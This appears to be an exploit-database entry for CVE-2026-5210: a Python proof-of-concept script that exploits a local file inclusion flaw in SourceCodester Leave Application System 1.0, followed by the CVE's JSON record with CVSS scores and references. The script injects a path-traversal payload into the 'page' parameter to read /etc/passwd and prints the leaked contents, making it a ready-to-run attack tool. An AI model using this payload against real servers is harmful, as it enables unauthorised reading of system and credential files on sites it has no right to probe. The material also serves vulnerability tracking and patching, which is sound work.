CVE-2026-5210

import requests # Exploit Title: SourceCodester Leave Application System 1.0 - Local File Inclusion # Date: 2026-03-31 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/14976/leave-management-system-using-phpmysqli-source-code.html # Version: 1.0 # CVE: CVE-2026-5210 def exploit_lfi(target_url): """ Exploit the LFI vulnerability by manipulating the 'page' parameter. """ # The vulnerable endpoint usually accepts a 'page' parameter # Attempting to read /etc/passwd on Linux systems payload = "?page=../../../../etc/passwd" full_url = f"{target_url}{payload}" try: response = requests.get(full_url, timeout=10) if response.status_code == 200: # Check if root user exists in response (basic check for /etc/passwd) if "root:x:0:0:" in response.text: print(f"[+] Success! File inclusion verified.") print(f"[+] Target: {target_url}") print("[+] Response snippet:") print(response.text[:500]) # Print first 500 chars else: print("[-] Exploit sent, but file content pattern not found.") else: print(f"[-] HTTP Error: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/leave_application_system/index.php" exploit_lfi(target)

{"cve": {"id": "CVE-2026-5210", "sourceIdentifier": "[email protected]", "published": "2026-03-31T19:16:29.597", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in SourceCodester Leave Application System 1.0. This affects an unknown part. Performing a manipulation of the argument page results in file inclusion. Remote exploitation of the attack is possible. The exploit is now public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://medium.com/@hemantrajbhati5555/local-file-inclusion-lfi-in-leave-application-system-php-sqlite3-4e095bb7ee40", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/780419", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354346", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/354346/cti", "source": "[email protected]"}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]"}]}}